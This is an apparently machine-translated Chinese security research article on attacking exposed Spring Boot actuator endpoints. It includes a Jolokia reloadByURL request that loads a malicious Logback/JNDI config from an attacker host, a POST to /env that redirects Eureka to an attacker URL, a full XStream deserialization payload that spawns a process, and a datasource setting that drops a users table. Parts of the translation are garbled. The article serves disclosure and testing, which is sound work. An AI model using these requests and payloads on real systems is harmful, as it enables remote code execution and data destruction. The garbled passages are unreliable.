Spring Boot框架中包含了许多执行器功能,它可帮助开发人员在将Web应用程序部署到生产时监视和管理Web应用程序。这些被用来审计运行状况和对指标进行收集,它们还可以在配置错误时打开服务器的隐藏功能。
当Spring Boot应用程序运行时,它会自动将多个端点(例如'/health', '/trace', '/beans', '/env' etc等)注册到路由进程中。对于Spring Boot 1 - 1.4,它们没有身份验证即可访问,从而导致严重的安全问题。从Spring 1.5版开始,少量情况下,除“ /health”和“/info”之外的所有端点都被视为安全的,但应用程序开发人员通常会代替此安全性。
以下执行器端点可能具有安全隐患,从而导致突破问题:
- / dump-显示线程转储情况(包括串联跟踪)
- / trace-显示最后几条HTTP消息(可能包含会话标识符)
- / logfile-输出日志文件的内容
- / shutdown-关闭应用程序
- /映射-显示所有MVC控制器映射
- / env-提供对配置环境的访问
- / restart-重新启动应用程序
对于Spring 1x,它们在根URL下进行注册,并在2x版本中重定向功能移动到“ /actuator/”的路径下。
进攻分析
大多数唯一actuators支持GET请求。因此敏感的配置数据会被宣布出来,但其中一些对于shell攻击者来说值得分析:
通过/ jolokia进行远程执行
如果J olokia库位于目标应用程序路径中,Spring Boot会在’ /jolokia的actuator端点下公开它。Jolokia允许对所有已注册的MBean进行HTTP,并执行与使用JMX执行的相同操作。URL此处我们可以使用来列出所有可用的MBean操作:
http://127.0.0.1:8090/jolokia/list
同样,大多数MBeans操作只是列出了一些系统数据,但其中一个特别值得我们关注:
Logback库提供的“ reloadByURL”操作允许我们从外部URL重新加载日志的记录配置。对于我们来说,只需导航到以下内容即可触发:http://localhost:8090/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/artsploit.com!/logback.xml
那么,我们为什么要关心日志配置呢?主要是因为两个原因:
1 Config具有XML格式,当然,Logback在启用外部实体的情况下进行XML进行解析,因此它很容易受到XXE攻击。
2的logback配置具有“从JNDI电子杂志变量”功能。在XML文件中,我们可以包含一个标签,如'<insertFromJNDI env-entry-name="java:comp/env/appName" as="appName" />',name属性将传递给DirContext.lookup()方法。我们如果可以在.lookup()函数中提供对应名称值,我们甚至不需要XXE或HeapDump,因为它为我们提供了完整的远程执行代码。
工作原理
1.攻击者请求上述URL执行’ qos.logback.classic.jmx.JMXConfigurator‘类提供的’ reloadByURL‘函数。
2.“ reloadByURL”函数从http://artsploit.com/logback.xml下载新的配置与其解析为Logback。此恶意配置应具有以下内容:
<configuration><insertFromJNDI env-entry-name="ldap://artsploit.com:1389/jndi" as="appName" /></configuration>
3.在易受攻击的服务器上解析此文件时,它会创建与“ env-entry-name”参数值中指定的攻击者LDAP服务器的连接,从而导致JNDI进行解析。恶意的LDAP服务器可以返回具有“引用”类型的对象,以触发在目标应用程序上执行字节码。这篇MicroFocus研究论文很好地解释了JNDI攻击。由于Tomcat的英文Spring Boot架构中的默认应用程序服务器,新所以的JNDI开发技术也。适用于此。
2通过’/ env’进行配置修改
如果Spring Cloud Libraries在路径中,则’ /env‘端点会被允许修改Spring环境属性。注释为“ @ConfigurationProperties”的所有bean都可以进行修改和重新绑定。我们可以控制的许多属性列位于’ /configprops‘的Actuators端点。我们需要清除所修改的内容才能达到目标。几天后我们发现了这个:
POST /env HTTP/1.1Host: 127.0.0.1:8090Content-Type: application/x-www-form-urlencodedContent-Length: 65eureka.client.serviceUrl.defaultZone=http://artsploit.com/n/xstream
此属性将Eureka serviceURL修改为任意值。Eureka Server通常使用发现服务器,几乎所有Spring Cloud应用程序都在其中注册并向其发送状态更新。如果幸运的话,目标路径中的Eureka-Client <1.8.7(通常包含在Spring Cloud Netflix中)可以利用XStream反序列化裂缝。我们需要做的就是通过’ /env‘将’ eureka.client.serviceUrl.defaultZone‘属性设置为我们的服务器URL(http://artsploit.com/n/xstream),然后调用’ /refresh‘端点。之后,我们的服务器应使用以下内容为XStream提供参数:
<linked-hash-set><jdk.nashorn.internal.objects.NativeString><value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"><dataHandler><dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"><is class="javax.crypto.CipherInputStream"><cipher class="javax.crypto.NullCipher"><serviceIterator class="javax.imageio.spi.FilterIterator"><iter class="javax.imageio.spi.FilterIterator"><iter class="java.util.Collections$EmptyIterator"/><next class="java.lang.ProcessBuilder"><command><string>/Applications/Calculator.app/Contents/MacOS/Calculator</string></command><redirectErrorStream>false</redirectErrorStream></next></iter><filter class="javax.imageio.ImageIO$ContainsFilter"><method><class>java.lang.ProcessBuilder</class><name>start</name><parameter-types/></method><name>foo</name></filter><next class="string">foo</next></serviceIterator><lock/></cipher><input class="java.lang.ProcessBuilder$NullInputStream"/><ibuffer></ibuffer></is></dataSource></dataHandler></value></jdk.nashorn.internal.objects.NativeString></linked-hash-set>
此XStream的有效载荷的英文Marshalsec研究中ImageIO JDK的修改版本。唯一这里的区别的英文使用LinkedHashSet来触发” jdk.nashorn.internal.objects.NativeString.hashCode()“方法。原始有效载荷利用java.lang.Map来实现相同的功能,但Eureka的XStream配置中有一个自定义的映射转换器,能够使其功能失效。然而上面的payload根本不使用Maps内容,可用于远程执行代码而无需额外的条件约束。
使用Spring Actuators,永远用户无法访问内部Eureka服务器,我们也可以利用此突破。我们只需要一个“ /env”端点。
其余设置:
spring.datasource.tomcat.validationQuery = drop + table + users 允许我们进行SQL查询,允许自动对内部数据库执行。其支持任何入库,更新或删除语句。
spring.datasource.tomcat.url = jdbc:hsqldb:https:// localhost:3002 / xdb允许我们修改当前的JDBC连接字符串。
最后一个方法很有作用,但问题是当运行数据库连接的应用程序已经建立时,只更新JDBC字符串没有任何效果。不过在这种情况下还有另一个属性可以帮助我们:spring.datasource.tomcat.max-active=777
因此,我们可以更改JDBC连接字符串,增加连接数,然后向应用程序发送许多请求以模拟负载。在负载下,应用程序将使用更新的恶意JDBC字符。串创建新的数据库连接。我在Mysql本地测试了这种技术。
除此之外,这里还存在其他的一些属性:spring.datasource.url -数据库连接字符串(仅用于第一个连接)spring.datasource.jndiName -数据库JNDI字符串(仅用于第一个连接)spring.datasource.tomcat.dataSourceJNDI -数据库JNDI核心spring.cloud.config.uri = http://artsploit.com/ - spring cloud config url(应用启动后没有任何效果,只使用初始值。)
除非初始化’ /restart‘端点,否则这些属性没有任何效果。此端点重新启动所有ApplicationContext,但有时情况下替换它。
注:在Spring Boot 2x中,通过’ /env‘端点修改属性的请求格式略有不同(它使用的是json格式),但结果是一样的。
易受攻击的应用程序示例:
如果要在本地测试此漏洞,我在Github页面上创建了一个简单的Spring Boot应用程序。所有payload均可以进行复现。
黑盒测试:
可以在此处找到默认actuators的完整列表: https://github.com/artsploit/SecLists/blob/master/Discovery/Web-Content/spring-boot.txt。应用程序开发人员可以使用@Endpoint创建自己的端点。
